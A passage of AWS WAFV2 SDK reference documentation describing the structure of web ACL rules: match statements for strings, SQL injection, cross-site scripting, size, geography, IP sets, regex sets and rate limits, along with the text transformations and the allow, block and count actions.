'AndStatement': { 'Statements': [ {'... recursive ...'}, ] }, 'OrStatement': { 'Statements': [ {'... recursive ...'}, ] }, 'NotStatement': { 'Statement': {'... recursive ...'} }, 'ManagedRuleGroupStatement': { 'VendorName': 'string', 'Name': 'string', 'ExcludedRules': [ { 'Name': 'string' }, ] } }, 'Action': { 'Block': {} , 'Allow': {} , 'Count': {} }, 'OverrideAction': { 'Count': {} , 'None': {} }, 'VisibilityConfig': { 'SampledRequestsEnabled': True|False, 'CloudWatchMetricsEnabled': True|False, 'MetricName': 'string' } }, ] ) :type Scope: string :param Scope: [REQUIRED]\nSpecifies whether this is for an AWS CloudFront distribution or for a regional application. A regional application can be an Application Load Balancer (ALB) or an API Gateway stage.\nTo work with CloudFront, you must also specify the Region US East (N. Virginia) as follows:\n\nCLI - Specify the Region when you use the CloudFront scope: --scope=CLOUDFRONT --region=us-east-1 .\nAPI and SDKs - For all calls, use the Region endpoint us-east-1.\n\n :type Rules: list :param Rules: [REQUIRED]\nAn array of Rule that you\'re configuring to use in a rule group or web ACL.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nA single rule, which you can use in a WebACL or RuleGroup to identify web requests that you want to allow, block, or count. Each rule includes one top-level Statement that AWS WAF uses to identify matching web requests, and parameters that govern how AWS WAF handles them.\n\nName (string) -- [REQUIRED]The name of the rule. You can\'t change the name of a Rule after you create it.\n\nPriority (integer) -- [REQUIRED]If you define more than one Rule in a WebACL , AWS WAF evaluates each request against the Rules in order based on the value of Priority . AWS WAF processes rules with lower priority first. The priorities don\'t need to be consecutive, but they must all be different.\n\nStatement (dict) -- [REQUIRED]The AWS WAF processing statement for the rule, for example ByteMatchStatement or SizeConstraintStatement .\n\nByteMatchStatement (dict) --A rule statement that defines a string match search for AWS WAF to apply to web requests. The byte match statement provides the bytes to search for, the location in requests that you want AWS WAF to search, and other settings. The bytes to search for are typically a string that corresponds with ASCII characters. In the AWS WAF console and the developer guide, this is refered to as a string match statement.\n\nSearchString (bytes) -- [REQUIRED]A string value that you want AWS WAF to search for. AWS WAF searches only in the part of web requests that you designate for inspection in FieldToMatch . The maximum length of the value is 50 bytes.\nValid values depend on the component that you specify for inspection in FieldToMatch :\n\nMethod : The HTTP method that you want AWS WAF to search for. This indicates the type of operation specified in the request.\nUriPath : The value that you want AWS WAF to search for in the URI path, for example, /images/daily-ad.jpg .\n\nIf SearchString includes alphabetic characters A-Z and a-z, note that the value is case sensitive.\n\nIf you\'re using the AWS WAF API\nSpecify a base64-encoded version of the value. The maximum length of the value before you base64-encode it is 50 bytes.\nFor example, suppose the value of Type is HEADER and the value of Data is User-Agent . If you want to search the User-Agent header for the value BadBot , you base64-encode BadBot using MIME base64-encoding and include the resulting value, QmFkQm90 , in the value of SearchString .\n\nIf you\'re using the AWS CLI or one of the AWS SDKs\nThe value that you want AWS WAF to search for. The SDK automatically base64 encodes the value.\n\nFieldToMatch (dict) -- [REQUIRED]The part of a web request that you want AWS WAF to inspect. For more information, see FieldToMatch .\n\nSingleHeader (dict) --Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive.\n\nName (string) -- [REQUIRED]The name of the query header to inspect.\n\n\n\nSingleQueryArgument (dict) --Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive.\nThis is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification.\n\nName (string) -- [REQUIRED]The name of the query argument to inspect.\n\n\n\nAllQueryArguments (dict) --Inspect all query arguments.\n\nUriPath (dict) --Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg .\n\nQueryString (dict) --Inspect the query string. This is the part of a URL that appears after a ? character, if any.\n\nBody (dict) --Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form.\nNote that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit.\n\nMethod (dict) --Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform.\n\n\n\nTextTransformations (list) -- [REQUIRED]Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. If you specify one or more transformations in a rule statement, AWS WAF performs all transformations on the content of the request component identified by FieldToMatch , starting from the lowest priority setting, before inspecting the content for a match.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nText transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection.\n\nPriority (integer) -- [REQUIRED]Sets the relative processing order for multiple transformations that are defined for a rule statement. AWS WAF processes all transformations, from lowest priority to highest, before inspecting the transformed content. The priorities don\'t need to be consecutive, but they must all be different.\n\nType (string) -- [REQUIRED]You can specify the following transformation types:\n\nCMD_LINE\nWhen you\'re concerned that attackers are injecting an operating system command line command and using unusual formatting to disguise some or all of the command, use this option to perform the following transformations:\n\nDelete the following characters: ' \' ^\nDelete spaces before the following characters: / (\nReplace the following characters with a space: , ;\nReplace multiple spaces with one space\nConvert uppercase letters (A-Z) to lowercase (a-z)\n\n\nCOMPRESS_WHITE_SPACE\nUse this option to replace the following characters with a space character (decimal 32):\n\nf, formfeed, decimal 12\nt, tab, decimal 9\nn, newline, decimal 10\nr, carriage return, decimal 13\nv, vertical tab, decimal 11\nnon-breaking space, decimal 160\n\n\nCOMPRESS_WHITE_SPACE also replaces multiple spaces with one space.HTML_ENTITY_DECODE\n\nUse this option to replace HTML-encoded characters with unencoded characters. HTML_ENTITY_DECODE performs the following operations:\n\nReplaces (ampersand)quot; with '\nReplaces (ampersand)nbsp; with a non-breaking space, decimal 160\nReplaces (ampersand)lt; with a 'less than' symbol\nReplaces (ampersand)gt; with >\nReplaces characters that are represented in hexadecimal format, (ampersand)#xhhhh; , with the corresponding characters\nReplaces characters that are represented in decimal format, (ampersand)#nnnn; , with the corresponding characters\n\n\nLOWERCASE\nUse this option to convert uppercase letters (A-Z) to lowercase (a-z).\n\nURL_DECODE\nUse this option to decode a URL-encoded value.\n\nNONE\nSpecify NONE if you don\'t want any text transformations.\n\n\n\n\n\nPositionalConstraint (string) -- [REQUIRED]The area within the portion of a web request that you want AWS WAF to search for SearchString . Valid values include the following:\n\nCONTAINS\nThe specified part of the web request must include the value of SearchString , but the location doesn\'t matter.\n\nCONTAINS_WORD\nThe specified part of the web request must include the value of SearchString , and SearchString must contain only alphanumeric characters or underscore (A-Z, a-z, 0-9, or _). In addition, SearchString must be a word, which means that both of the following are true:\n\nSearchString is at the beginning of the specified part of the web request or is preceded by a character other than an alphanumeric character or underscore (_). Examples include the value of a header and ;BadBot .\nSearchString is at the end of the specified part of the web request or is followed by a character other than an alphanumeric character or underscore (_), for example, BadBot; and -BadBot; .\n\n\nEXACTLY\nThe value of the specified part of the web request must exactly match the value of SearchString .\n\nSTARTS_WITH\nThe value of SearchString must appear at the beginning of the specified part of the web request.\n\nENDS_WITH\nThe value of SearchString must appear at the end of the specified part of the web request.\n\n\n\nSqliMatchStatement (dict) --Attackers sometimes insert malicious SQL code into web requests in an effort to extract data from your database. To allow or block web requests that appear to contain malicious SQL code, create one or more SQL injection match conditions. An SQL injection match condition identifies the part of web requests, such as the URI or the query string, that you want AWS WAF to inspect. Later in the process, when you create a web ACL, you specify whether to allow or block requests that appear to contain malicious SQL code.\n\nFieldToMatch (dict) -- [REQUIRED]The part of a web request that you want AWS WAF to inspect. For more information, see FieldToMatch .\n\nSingleHeader (dict) --Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive.\n\nName (string) -- [REQUIRED]The name of the query header to inspect.\n\n\n\nSingleQueryArgument (dict) --Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive.\nThis is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification.\n\nName (string) -- [REQUIRED]The name of the query argument to inspect.\n\n\n\nAllQueryArguments (dict) --Inspect all query arguments.\n\nUriPath (dict) --Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg .\n\nQueryString (dict) --Inspect the query string. This is the part of a URL that appears after a ? character, if any.\n\nBody (dict) --Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form.\nNote that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit.\n\nMethod (dict) --Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform.\n\n\n\nTextTransformations (list) -- [REQUIRED]Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. If you specify one or more transformations in a rule statement, AWS WAF performs all transformations on the content of the request component identified by FieldToMatch , starting from the lowest priority setting, before inspecting the content for a match.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nText transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection.\n\nPriority (integer) -- [REQUIRED]Sets the relative processing order for multiple transformations that are defined for a rule statement. AWS WAF processes all transformations, from lowest priority to highest, before inspecting the transformed content. The priorities don\'t need to be consecutive, but they must all be different.\n\nType (string) -- [REQUIRED]You can specify the following transformation types:\n\nCMD_LINE\nWhen you\'re concerned that attackers are injecting an operating system command line command and using unusual formatting to disguise some or all of the command, use this option to perform the following transformations:\n\nDelete the following characters: ' \' ^\nDelete spaces before the following characters: / (\nReplace the following characters with a space: , ;\nReplace multiple spaces with one space\nConvert uppercase letters (A-Z) to lowercase (a-z)\n\n\nCOMPRESS_WHITE_SPACE\nUse this option to replace the following characters with a space character (decimal 32):\n\nf, formfeed, decimal 12\nt, tab, decimal 9\nn, newline, decimal 10\nr, carriage return, decimal 13\nv, vertical tab, decimal 11\nnon-breaking space, decimal 160\n\n\nCOMPRESS_WHITE_SPACE also replaces multiple spaces with one space.HTML_ENTITY_DECODE\n\nUse this option to replace HTML-encoded characters with unencoded characters. HTML_ENTITY_DECODE performs the following operations:\n\nReplaces (ampersand)quot; with '\nReplaces (ampersand)nbsp; with a non-breaking space, decimal 160\nReplaces (ampersand)lt; with a 'less than' symbol\nReplaces (ampersand)gt; with >\nReplaces characters that are represented in hexadecimal format, (ampersand)#xhhhh; , with the corresponding characters\nReplaces characters that are represented in decimal format, (ampersand)#nnnn; , with the corresponding characters\n\n\nLOWERCASE\nUse this option to convert uppercase letters (A-Z) to lowercase (a-z).\n\nURL_DECODE\nUse this option to decode a URL-encoded value.\n\nNONE\nSpecify NONE if you don\'t want any text transformations.\n\n\n\n\n\n\n\nXssMatchStatement (dict) --A rule statement that defines a cross-site scripting (XSS) match search for AWS WAF to apply to web requests. XSS attacks are those where the attacker uses vulnerabilities in a benign website as a vehicle to inject malicious client-site scripts into other legitimate web browsers. The XSS match statement provides the location in requests that you want AWS WAF to search and text transformations to use on the search area before AWS WAF searches for character sequences that are likely to be malicious strings.\n\nFieldToMatch (dict) -- [REQUIRED]The part of a web request that you want AWS WAF to inspect. For more information, see FieldToMatch .\n\nSingleHeader (dict) --Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive.\n\nName (string) -- [REQUIRED]The name of the query header to inspect.\n\n\n\nSingleQueryArgument (dict) --Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive.\nThis is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification.\n\nName (string) -- [REQUIRED]The name of the query argument to inspect.\n\n\n\nAllQueryArguments (dict) --Inspect all query arguments.\n\nUriPath (dict) --Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg .\n\nQueryString (dict) --Inspect the query string. This is the part of a URL that appears after a ? character, if any.\n\nBody (dict) --Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form.\nNote that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit.\n\nMethod (dict) --Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform.\n\n\n\nTextTransformations (list) -- [REQUIRED]Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. If you specify one or more transformations in a rule statement, AWS WAF performs all transformations on the content of the request component identified by FieldToMatch , starting from the lowest priority setting, before inspecting the content for a match.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nText transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection.\n\nPriority (integer) -- [REQUIRED]Sets the relative processing order for multiple transformations that are defined for a rule statement. AWS WAF processes all transformations, from lowest priority to highest, before inspecting the transformed content. The priorities don\'t need to be consecutive, but they must all be different.\n\nType (string) -- [REQUIRED]You can specify the following transformation types:\n\nCMD_LINE\nWhen you\'re concerned that attackers are injecting an operating system command line command and using unusual formatting to disguise some or all of the command, use this option to perform the following transformations:\n\nDelete the following characters: ' \' ^\nDelete spaces before the following characters: / (\nReplace the following characters with a space: , ;\nReplace multiple spaces with one space\nConvert uppercase letters (A-Z) to lowercase (a-z)\n\n\nCOMPRESS_WHITE_SPACE\nUse this option to replace the following characters with a space character (decimal 32):\n\nf, formfeed, decimal 12\nt, tab, decimal 9\nn, newline, decimal 10\nr, carriage return, decimal 13\nv, vertical tab, decimal 11\nnon-breaking space, decimal 160\n\n\nCOMPRESS_WHITE_SPACE also replaces multiple spaces with one space.HTML_ENTITY_DECODE\n\nUse this option to replace HTML-encoded characters with unencoded characters. HTML_ENTITY_DECODE performs the following operations:\n\nReplaces (ampersand)quot; with '\nReplaces (ampersand)nbsp; with a non-breaking space, decimal 160\nReplaces (ampersand)lt; with a 'less than' symbol\nReplaces (ampersand)gt; with >\nReplaces characters that are represented in hexadecimal format, (ampersand)#xhhhh; , with the corresponding characters\nReplaces characters that are represented in decimal format, (ampersand)#nnnn; , with the corresponding characters\n\n\nLOWERCASE\nUse this option to convert uppercase letters (A-Z) to lowercase (a-z).\n\nURL_DECODE\nUse this option to decode a URL-encoded value.\n\nNONE\nSpecify NONE if you don\'t want any text transformations.\n\n\n\n\n\n\n\nSizeConstraintStatement (dict) --A rule statement that compares a number of bytes against the size of a request component, using a comparison operator, such as greater than (>) or less than (<). For example, you can use a size constraint statement to look for query strings that are longer than 100 bytes.\nIf you configure AWS WAF to inspect the request body, AWS WAF inspects only the first 8192 bytes (8 KB). If the request body for your web requests never exceeds 8192 bytes, you can create a size constraint condition and block requests that have a request body greater than 8192 bytes.\nIf you choose URI for the value of Part of the request to filter on, the slash (/) in the URI counts as one character. For example, the URI /logo.jpg is nine characters long.\n\nFieldToMatch (dict) -- [REQUIRED]The part of a web request that you want AWS WAF to inspect. For more information, see FieldToMatch .\n\nSingleHeader (dict) --Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive.\n\nName (string) -- [REQUIRED]The name of the query header to inspect.\n\n\n\nSingleQueryArgument (dict) --Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive.\nThis is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification.\n\nName (string) -- [REQUIRED]The name of the query argument to inspect.\n\n\n\nAllQueryArguments (dict) --Inspect all query arguments.\n\nUriPath (dict) --Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg .\n\nQueryString (dict) --Inspect the query string. This is the part of a URL that appears after a ? character, if any.\n\nBody (dict) --Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form.\nNote that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit.\n\nMethod (dict) --Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform.\n\n\n\nComparisonOperator (string) -- [REQUIRED]The operator to use to compare the request part to the size setting.\n\nSize (integer) -- [REQUIRED]The size, in byte, to compare to the request part, after any transformations.\n\nTextTransformations (list) -- [REQUIRED]Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. If you specify one or more transformations in a rule statement, AWS WAF performs all transformations on the content of the request component identified by FieldToMatch , starting from the lowest priority setting, before inspecting the content for a match.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nText transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection.\n\nPriority (integer) -- [REQUIRED]Sets the relative processing order for multiple transformations that are defined for a rule statement. AWS WAF processes all transformations, from lowest priority to highest, before inspecting the transformed content. The priorities don\'t need to be consecutive, but they must all be different.\n\nType (string) -- [REQUIRED]You can specify the following transformation types:\n\nCMD_LINE\nWhen you\'re concerned that attackers are injecting an operating system command line command and using unusual formatting to disguise some or all of the command, use this option to perform the following transformations:\n\nDelete the following characters: ' \' ^\nDelete spaces before the following characters: / (\nReplace the following characters with a space: , ;\nReplace multiple spaces with one space\nConvert uppercase letters (A-Z) to lowercase (a-z)\n\n\nCOMPRESS_WHITE_SPACE\nUse this option to replace the following characters with a space character (decimal 32):\n\nf, formfeed, decimal 12\nt, tab, decimal 9\nn, newline, decimal 10\nr, carriage return, decimal 13\nv, vertical tab, decimal 11\nnon-breaking space, decimal 160\n\n\nCOMPRESS_WHITE_SPACE also replaces multiple spaces with one space.HTML_ENTITY_DECODE\n\nUse this option to replace HTML-encoded characters with unencoded characters. HTML_ENTITY_DECODE performs the following operations:\n\nReplaces (ampersand)quot; with '\nReplaces (ampersand)nbsp; with a non-breaking space, decimal 160\nReplaces (ampersand)lt; with a 'less than' symbol\nReplaces (ampersand)gt; with >\nReplaces characters that are represented in hexadecimal format, (ampersand)#xhhhh; , with the corresponding characters\nReplaces characters that are represented in decimal format, (ampersand)#nnnn; , with the corresponding characters\n\n\nLOWERCASE\nUse this option to convert uppercase letters (A-Z) to lowercase (a-z).\n\nURL_DECODE\nUse this option to decode a URL-encoded value.\n\nNONE\nSpecify NONE if you don\'t want any text transformations.\n\n\n\n\n\n\n\nGeoMatchStatement (dict) --A rule statement used to identify web requests based on country of origin.\n\nCountryCodes (list) --An array of two-character country codes, for example, [ 'US', 'CN' ] , from the alpha-2 country ISO codes of the ISO 3166 international standard.\n\n(string) --\n\n\n\n\nRuleGroupReferenceStatement (dict) --A rule statement used to run the rules that are defined in a RuleGroup . To use this, create a rule group with your rules, then provide the ARN of the rule group in this statement.\nYou cannot nest a RuleGroupReferenceStatement , for example for use inside a NotStatement or OrStatement . It can only be referenced as a top-level statement within a rule.\n\nARN (string) -- [REQUIRED]The Amazon Resource Name (ARN) of the entity.\n\nExcludedRules (list) --The names of rules that are in the referenced rule group, but that you want AWS WAF to exclude from processing for this rule statement.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nSpecifies a single rule to exclude from the rule group. Excluding a rule overrides its action setting for the rule group in the web ACL, setting it to COUNT . This effectively excludes the rule from acting on web requests.\n\nName (string) -- [REQUIRED]The name of the rule to exclude.\n\n\n\n\n\n\n\nIPSetReferenceStatement (dict) --A rule statement used to detect web requests coming from particular IP addresses or address ranges. To use this, create an IPSet that specifies the addresses you want to detect, then use the ARN of that set in this statement. To create an IP set, see CreateIPSet .\nEach IP set rule statement references an IP set. You create and maintain the set independent of your rules. This allows you to use the single set in multiple rules. When you update the referenced set, AWS WAF automatically updates all rules that reference it.\n\nARN (string) -- [REQUIRED]The Amazon Resource Name (ARN) of the IPSet that this statement references.\n\n\n\nRegexPatternSetReferenceStatement (dict) --A rule statement used to search web request components for matches with regular expressions. To use this, create a RegexPatternSet that specifies the expressions that you want to detect, then use the ARN of that set in this statement. A web request matches the pattern set rule statement if the request component matches any of the patterns in the set. To create a regex pattern set, see CreateRegexPatternSet .\nEach regex pattern set rule statement references a regex pattern set. You create and maintain the set independent of your rules. This allows you to use the single set in multiple rules. When you update the referenced set, AWS WAF automatically updates all rules that reference it.\n\nARN (string) -- [REQUIRED]The Amazon Resource Name (ARN) of the RegexPatternSet that this statement references.\n\nFieldToMatch (dict) -- [REQUIRED]The part of a web request that you want AWS WAF to inspect. For more information, see FieldToMatch .\n\nSingleHeader (dict) --Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive.\n\nName (string) -- [REQUIRED]The name of the query header to inspect.\n\n\n\nSingleQueryArgument (dict) --Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive.\nThis is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification.\n\nName (string) -- [REQUIRED]The name of the query argument to inspect.\n\n\n\nAllQueryArguments (dict) --Inspect all query arguments.\n\nUriPath (dict) --Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg .\n\nQueryString (dict) --Inspect the query string. This is the part of a URL that appears after a ? character, if any.\n\nBody (dict) --Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form.\nNote that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit.\n\nMethod (dict) --Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform.\n\n\n\nTextTransformations (list) -- [REQUIRED]Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. If you specify one or more transformations in a rule statement, AWS WAF performs all transformations on the content of the request component identified by FieldToMatch , starting from the lowest priority setting, before inspecting the content for a match.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nText transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection.\n\nPriority (integer) -- [REQUIRED]Sets the relative processing order for multiple transformations that are defined for a rule statement. AWS WAF processes all transformations, from lowest priority to highest, before inspecting the transformed content. The priorities don\'t need to be consecutive, but they must all be different.\n\nType (string) -- [REQUIRED]You can specify the following transformation types:\n\nCMD_LINE\nWhen you\'re concerned that attackers are injecting an operating system command line command and using unusual formatting to disguise some or all of the command, use this option to perform the following transformations:\n\nDelete the following characters: ' \' ^\nDelete spaces before the following characters: / (\nReplace the following characters with a space: , ;\nReplace multiple spaces with one space\nConvert uppercase letters (A-Z) to lowercase (a-z)\n\n\nCOMPRESS_WHITE_SPACE\nUse this option to replace the following characters with a space character (decimal 32):\n\nf, formfeed, decimal 12\nt, tab, decimal 9\nn, newline, decimal 10\nr, carriage return, decimal 13\nv, vertical tab, decimal 11\nnon-breaking space, decimal 160\n\n\nCOMPRESS_WHITE_SPACE also replaces multiple spaces with one space.HTML_ENTITY_DECODE\n\nUse this option to replace HTML-encoded characters with unencoded characters. HTML_ENTITY_DECODE performs the following operations:\n\nReplaces (ampersand)quot; with '\nReplaces (ampersand)nbsp; with a non-breaking space, decimal 160\nReplaces (ampersand)lt; with a 'less than' symbol\nReplaces (ampersand)gt; with >\nReplaces characters that are represented in hexadecimal format, (ampersand)#xhhhh; , with the corresponding characters\nReplaces characters that are represented in decimal format, (ampersand)#nnnn; , with the corresponding characters\n\n\nLOWERCASE\nUse this option to convert uppercase letters (A-Z) to lowercase (a-z).\n\nURL_DECODE\nUse this option to decode a URL-encoded value.\n\nNONE\nSpecify NONE if you don\'t want any text transformations.\n\n\n\n\n\n\n\nRateBasedStatement (dict) --A rate-based rule tracks the rate of requests for each originating IP address, and triggers the rule action when the rate exceeds a limit that you specify on the number of requests in any 5-minute time span. You can use this to put a temporary block on requests from an IP address that is sending excessive requests.\nWhen the rule action triggers, AWS WAF blocks additional requests from the IP address until the request rate falls below the limit.\nYou can optionally nest another statement inside the rate-based statement, to narrow the scope of the rule so that it only counts requests that match the nested statement. For example, based on recent requests that you have seen from an attacker, you might create a rate-based rule with a nested AND rule statement that contains the following nested statements:\n\nAn IP match statement with an IP set that specified the address 192.0.2.44.\nA string match statement that searches in the User-Agent header for the string BadBot.\n\nIn this rate-based rule, you also define a rate limit. For this example, the rate limit is 1,000. Requests that meet both of the conditions in the statements are counted. If the count exceeds 1,000 requests per five minutes, the rule action triggers. Requests that do not meet both conditions are not counted towards the rate limit and are not affected by this rule.\nYou cannot nest a RateBasedStatement , for example for use inside a NotStatement or OrStatement . It can only be referenced as a top-level statement within a rule.\n\nLimit (integer) -- [REQUIRED]The limit on requests per 5-minute period for a single originating IP address. If the statement includes a ScopDownStatement , this limit is applied only to the requests that match the statement.\n\nAggregateKeyType (string) -- [REQUIRED]Setting that indicates how to aggregate the request counts. Currently, you must set this to IP . The request counts are aggregated on IP addresses.\n\nScopeDownStatement (dict) --An optional nested statement that narrows the scope of the rate-based statement to matching web requests. This can be any nestable statement, and you can nest statements at any level below this scope-down statement.\n\n\n\nAndStatement (dict) --A logical rule statement used to combine other rule statements with AND logic. You provide more than one Statement within the AndStatement .\n\nStatements (list) -- [REQUIRED]The statements to combine with AND logic. You can use any statements that can be nested.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nThe processing guidance for a Rule , used by AWS WAF to determine whether a web request matches the rule.\n\n\n\n\n\nOrStatement (dict) --A logical rule statement used to combine other rule statements with OR logic. You provide more than one Statement within the OrStatement .\n\nStatements (list) -- [REQUIRED]The statements to combine with OR logic. You can use any statements that can be nested.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nThe processing guidance for a Rule , used by AWS WAF to determine whether a web request matches the rule.\n\n\n\n\n\nNotStatement (dict) --A logical rule statement used to negate the results of another rule statement. You provide one Statement within the NotStatement .\n\nStatement (dict) --The statement to negate. You can use any statement that can be nested.\n\n\n\nManagedRuleGroupStatement (dict) --A rule statement used to run the rules that are defined in a managed rule group. To use this, provide the vendor name and the name of the rule group in this statement. You can retrieve the required names by calling ListAvailableManagedRuleGroups .\nYou can\'t nest a ManagedRuleGroupStatement , for example for use inside a NotStatement or OrStatement . It can only be referenced as a top-level statement within a rule.\n\nVendorName (string) -- [REQUIRED]The name of the managed rule group vendor. You use this, along with the rule group name, to identify the rule group.\n\nName (string) -- [REQUIRED]The name of the managed rule group. You use this, along with the vendor name, to identify the rule group.\n\nExcludedRules (list) --The rules whose actions are set to COUNT by the web ACL, regardless of the action that is set on the rule. This effectively excludes the rule from acting on web requests.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nSpecifies a single rule to exclude from the rule group. Excluding a rule overrides its action setting for the rule group in the web ACL, setting it to COUNT . This effectively excludes the rule from acting on web requests.\n\nName (string) -- [REQUIRED]The name of the rule to exclude.\n\n\n\n\n\n\n\n\n\nAction (dict) --The action that AWS WAF should take on a web request when it matches the rule statement. Settings at the web ACL level can override the rule action setting.\nThis is used only for rules whose statements do not reference a rule group. Rule statements that reference a rule group include RuleGroupReferenceStatement and ManagedRuleGroupStatement .\nYou must specify either this Action setting or the rule OverrideAction setting, but not both:\n\nIf the rule statement does not reference a rule group, use this rule action setting and not the rule override action setting.\nIf the rule statement references a rule group, use the override action setting and not this action setting.\n\n\nBlock (dict) --Instructs AWS WAF to block the web request.\n\nAllow (dict) --Instructs AWS WAF to allow the web request.\n\nCount (dict) --Instructs AWS WAF to count the web request and allow it.\n\n\n\nOverrideAction (dict) --The override action to apply to the rules in a rule group. Used only for rule statements that reference a rule group, like RuleGroupReferenceStatement and 